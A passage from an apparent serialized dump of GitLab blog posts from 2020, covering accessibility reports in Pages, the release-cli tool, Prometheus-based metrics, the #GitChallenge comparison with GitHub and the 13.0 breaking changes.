cycle time between when a change is made and when an accessibility issue is found for the developer. To accomplish this, we will run the job AFTER our change is deployed to a review application.\n\nI created a walkthrough for the GitLab Unfiltered YouTube channel to walk through the process of setting this up. After some trial and error I got this working. The relevant portion of the resulting .gitlab-ci.yml entry is below.\n\n```yml\n\nstages:\n - build\n - test\n - deploy review\n - deploy staging\n - accessibility\n - deploy production\n - production tests\n - cache\n\ncache:\n  key: ${CI_COMMIT_REF_SLUG}\n  policy: pull\n  paths:\n    - node_modules/\n\ninclude:\n  - template: \"Verify/Accessibility.gitlab-ci.yml\"\n\nvariables:\n  STAGING_DOMAIN: nimblealizer-staging.surge.sh\n  PRODUCTION_DOMAIN: nimblealizer.surge.sh\n  a11y_urls: \"http://nimblealizer-staging.surge.sh\"\n\n```\n\nTo summarize what changed to add the accessibility job:\n\n1. Add the stage for accessibility. It is important to note that this happens AFTER the deploy to staging, which is the site I want to scan.\n2. Include the template that runs the test.\n3. Add the ally_urls variable so the template knows what to scan. In this case I added the staging site URL to scan.\n\n## What happens now?\n\nAfter committing this change, a pipeline will kickoff that builds the website, runs some tests, deploys to staging, and then runs the accessibility scan.\n\nThe result of this scan is shown on the Merge Request page just by including the template because it is using the `artifacs:expose_as` keyword. This is great news for the developer since the report is now easy to view. The Pa11y engine also produces a  an easy to read report that explains where issues are in the code and provide links to information about how how to resolve them.\n\n![Accessibility report as a build artifact](https://about.gitlab.com/images/blogimages/publish_a11y_reports/a11y-merge-request-build-artifact.png){: .shadow}\nThe resulting build artifact on the Merge Request Pages\n{: .note.text-center}\n\nBut what if we wanted to share this report across the organization, or even better link to it from other places like group dashboards? Then we have an issue. The job value will always be changing and we don't want to force other things to update to reflect our change. What if instead we could publish this report to the same place every time, so that the latest version was always at the same URL?\n\n## GitLab pages to the rescue!\n\nIn my 6 months as the Product Manager for the Testing categories, I had probably already sent the link to this [excellent blog](https://about.gitlab.com/blog/publish-code-coverage-report-with-gitlab-pages/) from Grzegorz a dozen or more times to customers, prospects or coworkers explaining how to publish a coverage report through Pages. I had a strong suspicion that we could do the same thing with the HTML report that came out of the accessibility scan. I followed along with the blog post and after some trial and error, I was able to get the deploy job running and the accessibility report published! All I had to do was navigate to where pages publishes by default and . . . well dang it.\n\n![404 page](https://about.gitlab.com/images/blogimages/publish_a11y_reports/a11y-404.png){: .shadow}\nThat didn't go according to plan\n{: .note.text-center}\n\nAfter I ended the video I realized my mistake and made some changes to the .gitlab-ci.yml in order to publish the report in a cleaner fashion. Now after moving the generated file to the public directory it is renamed index.html. You can see this in the example project's [.gitlab-ci.yml file](https://gitlab.com/jheimbuck_gl/my-static-website/-/blob/master/.gitlab-ci.yml). You can see the latest report [here](https://jheimbuck_gl.gitlab.io/my-static-website/).\n\n## Summary\n\nSo I spent an hour and a half of wall clock time I got it all working which wasn't great but overall not bad since I hadn't tried it before. As I said in the video I thought a blog would help explain some of the issues I ran into and help you get this setup done quicker. I hope this post has inspired you to add an accessibility job to your existing Gitlab pipeline and maybe even post that report to a Pages site so it is available for more of your team to use.\n",[110,754],{"slug":23623,"featured":6,"template":678},"publishing-a11y-reports-in-gitlab-pages","content:en-us:blog:publishing-a11y-reports-in-gitlab-pages.yml","Publishing A11y Reports In Gitlab Pages","en-us/blog/publishing-a11y-reports-in-gitlab-pages.yml","en-us/blog/publishing-a11y-reports-in-gitlab-pages",{"_path":23629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23630,"content":23636,"config":23642,"_id":23644,"_type":16,"title":23645,"_source":17,"_file":23646,"_stem":23647,"_extension":20},"/en-us/blog/how-gitlab-automates-releases",{"title":23631,"description":23632,"ogTitle":23631,"ogDescription":23632,"noIndex":6,"ogImage":23633,"ogUrl":23634,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23634,"schema":23635},"How GitLab is automating release generation in .gitlab-ci.yml","Under the covers look at the tooling behind creating releases from `.gitlab-ci.yml` with a Go command line interface","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672765/Blog/Hero%20Images/generator.jpg","https://about.gitlab.com/blog/how-gitlab-automates-releases","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab is automating release generation in .gitlab-ci.yml\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Meshell\"}],\n        \"datePublished\": \"2020-05-07\",\n      }",{"title":23631,"description":23632,"authors":23637,"heroImage":23633,"date":23639,"body":23640,"category":18484,"tags":23641},[23638],"Jackie Meshell","2020-05-07","## Why does release generation need to be automated?\n\nRelease Management, a group within the [Release stage](https://about.gitlab.com/handbook/engineering/development/ops/release/), is about unblocking users as they continuously deliver value to their customers. A part of this can be seen in how users create Release tags to track production deployments and in that adoption of the Release features, users are deploying more with GitLab. We can also see a correlation between users adopting Releases to deploy with GitLab and leveraging more paid features. \n\nWe discovered the automation of creating these releases for our users was difficult and documented the needs for Release generation from the `.gitlab-ci.yml` file in our epic, [gitlab&2510](https://gitlab.com/groups/gitlab-org/-/epics/2510). The highlights of the user pains around the release process include a: \n   1. desire to avoid leaving the CLI to complete release jobs or tasks \n   1. need for the tag creation to be associated with a pipeline \n   1. simpler way to include release creation within GitLab as a part of the CI/CD processes \n\nNot only do users want to automatically create releases within their [CI/CD](/topics/ci-cd/), many of the other solutions such as [Azure Pipelines](https://docs.microsoft.com/en-us/azure/devops/pipelines/release/?view=azure-devops), [XebiaLabs](https://docs.xebialabs.com/v.9.5/xl-release/how-to/work-with-xl-yaml-format/), and [Cloudbees](https://www.jenkins.io/blog/configuring-jenkins-pipeline-with-yaml-file/), all feature a way to deploy and create releases from the YAML. \n\n## How did we discover that we needed a tool to create the release? \n\nThe Release Management team underwent a few calls with a GitLab Maintainer, [Kamil Trzciński](https://gitlab.com/ayufan), to help decide the correct path forward. There were several scenarios we considered. \n\n| Option   | Pros| Cons  |\n| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Generate Release from Rails    | 1. Simple addition of token and yaml job                                                                                                                                                                                                       | 1. Rails would be too heavy\u003Cbr> 2. High potential for errors and slowness\u003Cbr> 3. Least performant option                                                                                                                                                           |\n| Create an independent CLI tool | 1. Independent and users can use it without downloading the whole Runner command\u003Cbr> 2. Can be owned by the Release team\u003Cbr> 3. The intention and domain of the CLI is very specific and users won't get confused.\u003Cbr> 4. We can have the code in any repo | 1. Maybe some code duplication from gitlab-runner-helper command to auth with CI\\_JOB\\_TOKEN                                                                                                                                                                   |\n| Create a runner helper         | 1. Much quicker since it's just copy/pasting a file and changing the command name and URL                                                                                                                                                      | 1. The user have to download the gitlab-runner-helper binary\u003Cbr> 2. Lots of actions for the user to take to use\u003Cbr> 3. Not as discoverable\u003Cbr> 4. Coupled and dependent on Runner team\u003Cbr> 5. It would require to follow the same release version scheme as GitLab Runner does |\n\nWe learned quickly that Rails was not the right place to generate a release as a result of performance and we also learned the logic was too much for the GitLab Runner to handle. This was discussed in a chat with [Steve Azzopardi](https://gitlab.com/steveazz-dr) from the Runner Team, [Sean Carroll](https://gitlab.com/sean_carroll) from Release Management, and of course the product teammates.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://youtube.com/embed/bfbnjEKZ9yw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThe technical takeaways from this call included:  \n  - Runner was more fragile and likely would be taxed by the logic that creating a release from the yaml would cause \n  - Rails would be slow and not as performant when creating a release \n  - a command line tool would be extensible and allow the Release Management team to wholly own the product \n\nThus, the team moved forward with the independent CLI and began developing this tool. \n\n## How does the release-cli work?\n\nThe release-cli tool is written in Go and can be called directly to create a Release via the API, given the right `job token` and parameters are provided. The more likely way users will interact with this tool will be in the YAML file as a job: \n\n```\nrelease_upload:\n  image: registry.gitlab.com/gitlab-org/release-cli:v0.1.0\n  script:\n    - gitlab-releaser create --name=\"My Release\" --description=\"My Release description\"\n```\n\n![Architecture of Release-cli](https://about.gitlab.com/images/blogimages/archdiagram.png \"release-cli architecture\"){: .shadow}\n\n### Steps for the release-cli \n\n1. The release-cli will instruct the `release` node of `.gitlab-ci.yml`\n  - This will convert the actions of creating the release into commands and pass those to the Runner. \n2. YAML exposed as Steps\n  - The release node of the `.gitlab-ci.yml` configuration file is converted into Steps and made available via API endpoint.\n3. Runner calls CLI on Job success\n  - The Runner executes the Job, and upon success calls the Release CLI. The evaluation of the Release must be created is made by the CLI, so this step implies the Runner always calls the Release CLI at the end of a successful Job.\n4. CLI retrieves Release Steps\n  - The Release CLI calls the Rails API to retrieve the release configuration (as Steps).\n5. CLI creates Release\n  - The Release CLI makes an API call to Rails to create the Release.\n\n## What is next for the release-cli? \n\nWe currently have the first iteration of the release-cli complete, which looks like: \n\n![Architecture2 of Release-cli](https://about.gitlab.com/images/blogimages/current_cli.png \"release-cli current architecture\"){: .shadow}\n\nThis MVC implemented via [gitlab#199253](https://gitlab.com/gitlab-org/gitlab/-/issues/199253), has enabled:  \n   - use of the [GitLab Release CLI docker image](https://gitlab.com/gitlab-org/release-cli)\n   - the `--name` and `--description` parameters for a Release\n   - calling the Releases API to create a Release with name and description\n   - access to all CI variables, including `$CI_JOB_TOKEN` for authentication to the GitLab Releases API and `$CI_PROJECT_ID` to create the Release\n\nThe Release Management team will expand the tool to be able to manage many tasks for the Release generation. These features include:\n   1. Expose `:release` yaml as steps via [gitlab#199250](https://gitlab.com/gitlab-org/gitlab/-/issues/199250)\n   1. Support file uploads to Releases via [gitlab#17838](https://gitlab.com/gitlab-org/gitlab/-/issues/17838)\n   1. Support binary files in Releases via [gitlab#35893](https://gitlab.com/gitlab-org/gitlab/-/issues/35893)\n   1. Automatically create Release notes in Releases via [gitlab#15563](https://gitlab.com/gitlab-org/gitlab/-/issues/15563)\n",[1899,1899,1899],{"slug":23643,"featured":6,"template":678},"how-gitlab-automates-releases","content:en-us:blog:how-gitlab-automates-releases.yml","How Gitlab Automates Releases","en-us/blog/how-gitlab-automates-releases.yml","en-us/blog/how-gitlab-automates-releases",{"_path":23649,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23650,"content":23655,"config":23659,"_id":23661,"_type":16,"title":23662,"_source":17,"_file":23663,"_stem":23664,"_extension":20},"/en-us/blog/working-with-performance-metrics",{"title":23651,"description":23652,"ogTitle":23651,"ogDescription":23652,"noIndex":6,"ogImage":14661,"ogUrl":23653,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23653,"schema":23654},"How application performance monitoring metrics helps developers","Automatically detect and monitor Kubernetes Clusters and deployed applications from the GitLab interface with application performance metrics (APM).","https://about.gitlab.com/blog/working-with-performance-metrics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How application performance monitoring metrics helps developers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Saumya Upadhyaya\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2020-05-07\",\n      }",{"title":23651,"description":23652,"authors":23656,"heroImage":14661,"date":23639,"body":23657,"category":8943,"tags":23658},[18837,902],"\n[Application Performance Metrics](/direction/monitor/platform-insights/), also referred to as GitLab Metrics, is designed for developers who need to understand the impact of the changes they are making on performance, and DevOps engineers/operators who are tasked with keeping the production systems up and running. GitLab Metrics, which is at [viable maturity](/direction/maturity/#monitor), can automatically detect and monitor Kubernetes clusters deployed via GitLab. The GitLab Metrics tool can also monitor all of your custom application metrics so that you can see how your entire system is behaving and performing without leaving the familiar GitLab interface.\n\nGitLab has application performance monitoring tightly and automatically integrated into the DevOps process, which allows you to move seamlessly from development to production with confidence. GitLab Metrics is just one part of the [GitLab Monitoring solution](/direction/monitor/). When the whole suite of GitLab Monitoring tools is used together, we can help you decrease the frequency and severity of production incidents.\n\n## What’s under the hood?\n\nGitLab Metrics is powered by [Prometheus](https://prometheus.io/). Prometheus is quickly becoming the de facto standard for metrics for the cloud native community, because it rises to the top for monitoring Kubernetes and the available integrations cover the major elements of the cloud native ecosystem.\n\n## How to use GitLab Metrics?\n\nGitLab Metrics can be used in two ways.\n\nFirst, you can use Prometheus as a [managed application](https://docs.gitlab.com/ee/update/removals.html) within GitLab. Prometheus can be installed into your GitLab managed Kubernetes cluster with one click.\n\n![System Metrics](https://about.gitlab.com/images/blogimages/blog-metrics-system-metrics.png){: .shadow}\nHow the system metrics dashboard looks to users.\n{: .note.text-center}\n\nWhen integrated with Prometheus and Kubernetes, GitLab Metrics includes the following powerful capabilities:\n* [Default metrics](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#getting-metrics-to-display-on-the-metrics-dashboard) collected from Prometheus, such as memory and core usage for the pod and canary deployment, Knative invocations, NGINX, AWS ELB, HA Proxy metrics, etc.\n* [Custom metrics](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#adding-additional-metrics) can be configured with a promQL query.\n* [Alerts](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#setting-up-alerts-for-prometheus-metrics) can be added on the UI directly for each metric.\n* Application deploys works by deploying to the monitored environment and can be [visualized on the metrics chart](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#getting-metrics-to-display-on-the-metrics-dashboard) itself to correlate performance spikes due to deploys.\n* [Custom dashboards](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#defining-custom-dashboards-per-project) can be configured as a YAML file and an existing GitLab default dashboard can be replicated as required.\n\n![Custom Dashboards](https://about.gitlab.com/images/blogimages/blog-metrics-key-services.png){: .shadow}\nUse a YAML file to configure a customized Metrics dashboard.\n{: .note.text-center}\n\nIf you already have an operational Prometheus instance that you would like to integrate with GitLab, you can simply point to the Prometheus server from within GitLab. In this case, performance metrics are retrieved from the external instance of Prometheus, and displayed within the GitLab interface.\n\n## How is GitLab dogfooding our metrics capability?\n\nAt GitLab, [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) is one of the main tenets of our [results](https://handbook.gitlab.com/handbook/values/#results) value.\n\nThe [GitLab infrastructure team](/handbook/engineering/infrastructure/) is used as an internal customer, and they provide feedback which feeds directly into how we develop our metrics capabilities. Prometheus and Grafana are two tools the GitLab infrastructure team uses. One of the main reasons the infrastructure team was reluctant to implement GitLab metrics was our previously inadequate graphing capabilities. To encourage our infrastructure team to dogfood metrics, we are focused on filling critical and non-critical gaps in GitLab metrics charts, which initiates a feedback loop for the product. Our goal is to eventually phase out Grafana and work exclusively with Prometheus and GitLab charts to monitor GitLab.com, we will do it on our GitLab way, iteratively, first we'll replace all of our publicly facing [dashboard](https://dashboards.gitlab.com/).\n\n## What's next for GitLab Metrics\n\nGet started by visiting the GitLab Metrics [documentation page](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html) and [directions page](/direction/monitor/platform-insights/). We’d love your help with prioritizing work on the most valuable improvements to the GitLab Metrics solution.\n\nTo report a bug or request a feature or enhancement, follow these steps:\n* Open an issue in the [GitLab project](https://gitlab.com/gitlab-org/gitlab/issues).\n* Describe the feature enhancement and, if possible, include examples.\n* Add these labels to the issue: `devops::monitor`, `Category::Metrics`\n* Tag @dhershkovitch on the issue\n\nCover image by [chuttersnap](https://unsplash.com/photos/gts_Eh4g1lk) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,754],{"slug":23660,"featured":6,"template":678},"working-with-performance-metrics","content:en-us:blog:working-with-performance-metrics.yml","Working With Performance Metrics","en-us/blog/working-with-performance-metrics.yml","en-us/blog/working-with-performance-metrics",{"_path":23666,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23667,"content":23673,"config":23678,"_id":23680,"_type":16,"title":23681,"_source":17,"_file":23682,"_stem":23683,"_extension":20},"/en-us/blog/git-challenge",{"title":23668,"description":23669,"ogTitle":23668,"ogDescription":23669,"noIndex":6,"ogImage":23670,"ogUrl":23671,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23671,"schema":23672},"#GitChallenge just got better","GitHub makes the #GitChallenge more interesting with new feature announcements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681235/Blog/Hero%20Images/hero-blog-gitlab-github.jpg","https://about.gitlab.com/blog/git-challenge","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"#GitChallenge just got better\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2020-05-06\",\n      }",{"title":23668,"description":23669,"authors":23674,"heroImage":23670,"date":23675,"body":23676,"category":736,"tags":23677},[711],"2020-05-06","\n\nToday, [GitHub announced](https://github.blog/2020-05-06-new-from-satellite-2020-github-codespaces-github-discussions-securing-code-in-private-repositories-and-more/) a number of great new features. We’re excited to see the Git-based tools space continue to improve and give developers more choice.\n\nWe [recently announced the #GitChallenge](/blog/github-free-for-teams/), encouraging the community to compare GitLab and GitHub. With these new feature announcements, we think this makes the #GitChallenge more relevant than ever! To help you get started, we outlined some of GitHub’s newly announced features and related GitLab features so you can easily compare. Take us up on the #GitChallenge and let us know what you think!\n\n## How to join the #GitChallenge \n\nCompare GitLab (get your [free trial here](/free-trial/)) and GitHub! You can:\n\n- Record a video and post it on social media\n- Write a blog or Medium post\n- Post your review on one of the many review sites like [G2](https://www.g2.com/products/gitlab/reviews)\n\nAfter you finish your review, send us a link on Twitter by tagging @gitlab and #GitChallenge, and we’ll send you some swag for giving us the feedback!\n\n### Browser-based dev environments\n\nGitHub announced [Codespaces](https://github.com/features/codespaces/), a fully functional Visual Studio Code experience inside of GitHub. One great benefit is that it allows developers to easily contribute to open source projects by giving them an environment in Azure Cloud. \n\nGitLab has a variety of features available now that allow you to work with code without leaving the browser, such as:\n\n- [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/)\n- [CI/CD Environments](https://docs.gitlab.com/ee/ci/environments/index.html)\n- [Review apps](https://docs.gitlab.com/ee/ci/review_apps/)\n- [Live Preview](https://docs.gitlab.com/ee/user/project/web_ide/index.html#live-preview)\n\n###  Software development lifecycle insights & analytics \n\nGitHub Insights is a way to see analytics about the development lifecycle.\n\nGitLab aggregates analytics and insights across the entire software development lifecycle out of the box, including:\n\n- [Contribution Analytics](https://docs.gitlab.com/ee/user/group/contribution_analytics/index.html)\n- [Insights](https://docs.gitlab.com/ee/user/group/insights/index.html)\n- [Issues Analytics](https://docs.gitlab.com/ee/user/group/issues_analytics/index.html)\n- [Productivity Analytics](https://docs.gitlab.com/ee/user/analytics/productivity_analytics.html)\n- [Value Stream Analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html)\n- [DevOps Score](https://docs.gitlab.com/ee/administration/analytics/dev_ops_report.html#devops-score)\n- [Code Review Analytics](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html)\n- [CI/CD Analytics](https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-success-and-duration-charts)\n\n###  Security and code scanning \n\nGitHub Code Scanning is a way to secure code using code scanning and secrets scanning. \n\nGitLab has a variety of security and code scanning tools already built-in and ready to use today, bringing development, security and operations together in a single application by:\n- [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)\n- [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/index.html)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\n- [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html)\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/index.html)\n- [Secrets Detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection)\n",[736],{"slug":23679,"featured":6,"template":678},"git-challenge","content:en-us:blog:git-challenge.yml","Git Challenge","en-us/blog/git-challenge.yml","en-us/blog/git-challenge",{"_path":23685,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23686,"content":23691,"config":23696,"_id":23698,"_type":16,"title":23699,"_source":17,"_file":23700,"_stem":23701,"_extension":20},"/en-us/blog/gitlab-com-13-0-breaking-changes",{"title":23687,"description":23688,"ogTitle":23687,"ogDescription":23688,"noIndex":6,"ogImage":12013,"ogUrl":23689,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23689,"schema":23690},"GitLab.com is moving to 13.0, with narrow breaking changes","Our next release, 13.0, will include narrow breaking changes. Find out how this could affect you and what you need to do.","https://about.gitlab.com/blog/gitlab-com-13-0-breaking-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com is moving to 13.0, with narrow breaking changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joshua Lambert\"}],\n        \"datePublished\": \"2020-05-06\",\n      }\n                  ",{"title":23687,"description":23688,"authors":23692,"heroImage":12013,"date":23675,"body":23694,"category":736,"tags":23695},[23693],"Joshua Lambert","\n\nGitLab 13.0 is coming on May 22, 2020 to GitLab.com. Along with the\n[exciting new features](https://www.youtube.com/playlist?list=PL05JrBw4t0KqWysAAKFYYIE2Tf9IZB5bv), it also includes\n[planned deprecations](https://about.gitlab.com/releases/2020/04/22/gitlab-12-10-released/#release-deprecations) because it is this year's major version release. We try to minimize these changes, but some are important enough to warrant the change in functionality.\n\nThese changes will be going live on GitLab.com over the next few days, through our [daily deployments](https://about.gitlab.com/handbook/engineering/infrastructure/library/scheduled-daily-deployments/), leading up to the official release of 13.0 on May 22nd. Keep reading to learn more about these important changes.\n\n## Auto DevOps default PostgreSQL chart version changing to 8.2.1\n\nAs part of updating Auto DevOps to support Kubernetes 1.16, the default PostgreSQL chart version is changing from 0.7.1 to 8.2.1.\n\nTo migrate your existing 0.7.1 PostgreSQL database to the newer 8.2.1-based database,\nfollow the [upgrade guide](https://docs.gitlab.com/ee/topics/autodevops/upgrading_postgresql.html)\nto backup your database, install the new version of PostgreSQL, and restore your database.\n\nTo remain on the old default, you will need to explicitly set the\n`AUTO_DEVOPS_POSTGRES_CHANNEL` CI variable to `1`.\n\n## Auto DevOps Auto Deploy default setting for `deploymentApiVersion` changing\n\nBecause several APIs [were removed](https://kubernetes.io/blog/api-deprecations-in-1-16/)\nin Kubernetes 1.16, the `deploymentApiVersion` setting is changing to a new default\nof `apps/v1` in [GitLab 13.0](https://gitlab.com/gitlab-org/charts/auto-deploy-app/issues/47). \n\nIf you are using Kubernetes 1.9 and below, you will need to upgrade your Kubernetes\ncluster to get `apps/v1` version support. For Auto DevOps,\n[GitLab requires](https://docs.gitlab.com/ee/topics/autodevops/#requirements) Kubernetes 1.12+.\n\n## Auto DevOps and Secure Configuration templates are changing to `rules` instead of `only/except`\n\nThe use of [`only` and `except`](https://docs.gitlab.com/ee/ci/yaml/#only--except) is\ndiscouraged in favor of [`rules`](https://docs.gitlab.com/ee/ci/yaml/#rules).\n`rules` provides more verbose and expressive job execution  logic that is less\ncomplex to evaluate and understand. \n\nAuto DevOps and Secure [configuration templates](https://docs.gitlab.com/ee/ci/yaml/#includetemplate)\nthat use `only` and `except` are changing to `rules`. Users who have customized\njob templates will need to transition as these two configuration options cannot\nbe used together. We have [documentation available for help migrating your templates](https://docs.gitlab.com/ee/user/application_security/#transitioning-your-onlyexcept-syntax-to-rules).\n\nThis change will affect the following job configuration templates: \n\n- `Build.gitlab-ci.yml`\n- `Test.gitlab-ci.yml`\n- `Deploy.gitlab-ci.yml`\n- [Secure vendored `.gitlab-ci.yml` templates](https://gitlab.com/groups/gitlab-org/-/epics/2300)\n  - `Container-scanning.gitlab-ci.yml`\n  - `DAST.gitlab-ci.yml`\n  - `Dependency-Scanning.gitlab-ci.yml`\n  - `License-Management.gitlab-ci.yml`\n  - `License-Scanning.gitlab-ci.yml`\n  - `SAST.gitlab-ci.yml`\n\nAny customization to these templates using `only` and `except` must be changed to\nthe [`rules`](https://docs.gitlab.com/ee/ci/yaml/#rules) syntax. `only/except` can’t be used in \ncombination with `rules` since it’s intended to be replaced by that functionality.\nPlease see [our troubleshooting doc](https://docs.gitlab.com/ee/user/application_security/#getting-error-message-sast-job-config-key-may-not-be-used-with-rules-onlyexcept)\nfor guidance on transition your rules or pinning to the previous version.\n\nWe would love to hear more about these cases in [this `rules` improvement issue](https://gitlab.com/groups/gitlab-org/-/epics/2783).\n\nRelevant issues: \n\n- [Moving Auto DevOps jobs syntax to `rules`](https://gitlab.com/gitlab-org/gitlab/-/issues/213336)\n- [Transition to rules syntax for Secure's vendored templates](https://gitlab.com/groups/gitlab-org/-/epics/2300)\n\n## Offset pagination limit of 50,000 for `/projects` endpoint\n\nAn offset-based pagination limit of `50,000` is being applied to the `/projects`\nAPI endpoint on GitLab.com. Integrations that make API calls with offsets above\n`50,000` must switch to [keyset-based pagination](https://docs.gitlab.com/ee/api/#keyset-based-pagination),\nwhich will offer significantly improved response times and reduced load on the\nGitLab server. Self-managed instances can customize the limit to a desired value.\n\nTo optimize performance, keyset-based pagination only offers ordering based on\nproject `id`. Use cases that require more flexible ordering options can continue\nto use offset-based pagination, provided the offsets remain below the limit.\nIf use cases require flexible ordering options with deep offsets, we recommend\nsorting client-side.\n\n## Removing GitLab Snippets content from search\n\nAs we continue to work towards [version control for Snippets](https://gitlab.com/groups/gitlab-org/-/epics/239),\nwe are making a change to search for Snippets in the UI and API that removes snippet\n**Content** from search results. **Title** and **Description** will still be\naccessible via search and API.\n\n## Introducing a new `id` field which replaces the deprecated `cve` field in the JSON common security report\n\nAs we add (and encourage third-party vendors to add) more security integrations,\nwe're working to improve our current JSON common report format. The primary field\n`cve` property is confusing, as it does not contain CVE data and should therefore\nbe removed. We are introducing the `id` field, which is automatically calculated\nfor GitLab scanners and required for third-party partner scanners. The `id` field\nwill eventually replace `cve` as a unique identifier. Anyone leveraging the `cve`\nproperty in security reports, with custom scripts or as an integrator into our\nSecure features, will eventually need to stop using the `cve` property and instead\nshould start using the new `id` property. Please be aware that today `id` and\n`cve` are both required fields.\n\n- [Container Scanning - Reports JSON format](https://docs.gitlab.com/ee/user/application_security/container_scanning/#reports-json-format)\n- [Dependency Scanning - Reports JSON format](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#reports-json-format)\n- [Static Application Security Testing (SAST) - Reports JSON format](https://docs.gitlab.com/ee/user/application_security/sast/#reports-json-format)\n\n## Removal of `token` attribute in Runner's details API\n\nWe are removing the `token` attribute from the Runners API endpoint that gets details\nof a Runner by its ID. You can provide feedback in \n[the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214322) or your\nusual support channels.\n\n## Removal of deprecated project paths\n\nWith the introduction of [subgroups](https://about.gitlab.com/solutions/subgroups/), GitLab's URL path structure became more complex. We've been [introducing a separator](https://gitlab.com/gitlab-org/gitlab/-/issues/214217), `/-/`, to improve clarity between groups, projects, and pages within a project. For example, `https://gitlab.com/gitlab-org/gitlab/issues` is now `https://gitlab.com/gitlab-org/gitlab/-/issues`. These changes result in improved performance, stability, and simplicity. \n\nAs we introduce the separator to additional pages, we automatically redirect requests to the old paths to the new ones. With GitLab 13.0, we are [removing this redirect](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26808) for pages which have had the separator since GitLab 12.0.\n\nRegular usage of GitLab will not be impacted by this change. However bookmarks or scripting created over a year ago, utilizing an affected path, will need to be updated to utilize the new path.\n\n## GitLab Runner 13.0 breaking changes\n\n- [Windows Batch `cmd` for the shell executor](https://gitlab.com/gitlab-org/gitlab-runner/issues/6099): In GitLab 11.11, we deprecated the use of Windows Batch executor for the GitLab Runner in favor of PowerShell. In 13.0 we will deprecate the use of Windows batch (cmd) from the Runner shell executor.  When a user registers a new runner shell executor it will now default to `powershell`. The Cmd shell remains included in future versions of GitLab Runner. However, any new Runner feature is to be tested and supported only for use with PowerShell.\n- [debug/jobs/list?v=1 endpoint](https://gitlab.com/gitlab-org/gitlab-runner/issues/6361): In 13.0, the `/debug/jobs/list?v=1` endpoint used for monitoring is replaced with the `/debug/jobs/list?v=2` endpoint.\n- [Docker services flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/issues/6404): In GitLab Runner 12.7 we introduced the ability to allow a service alias from `config` in the Docker executor. In 13.0, the old structure, `--docker-services` will also be removed. This means that the following option `gitlab-runner register --docker-services postgres` will no longer set the service as the configuration is no longer an array of strings. For users with automation that relies on the `--docker-services` flag, click here for a [migration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404#migration) example.\n- [Legacy build directory caching feature flag](https://gitlab.com/gitlab-org/gitlab-runner/issues/4180): In GitLab Runner 13.0 we will remove the legacy build directory caching feature flag that was introduced in 11.10. We highly recommend that users do not store anything in the `Builds Directory`. Refer to the [Build Directory](https://docs.gitlab.com/runner/best_practice/#build-directory) section of the best practices documentation page for additional details.\n- [Windows 1803 support end of life](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553): In GitLab Runner 13.0, Windows 1803 is no longer supported.\n- [Fedora 29 support end of life](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158): In GitLab Runner 13.0, Fedora 29 is no longer supported.\n\n## To utilize License Compliance you must use the new License Scanning template\n\nAs of GitLab 13.0 for self-managed, and this week for GitLab.com users, we have removed the License-Management.gitlab.ci.yml template (deprecated since GitLab 12.8). You must replace it with the License-Scanning.gitlab-ci.yml template instead. For more details visit [the documentation](https://docs.gitlab.com/ee/user/compliance/license_compliance/#migration-from-license_management-to-license_scanning).\n\nIf you are directly referencing the results of the License Scan running as part of License Compliance, you also need to use the new report type artifacts:reports:license_scanning instead of artifacts:reports:license_management. This is optional with the release of GitLab 12.8 through GitLab 12.10, but mandatory with the release of GitLab 13.0. This will not apply to users of versions GitLab 12.7 and earlier.\n\nThis change was made because GitLab License Management is now renamed to GitLab License 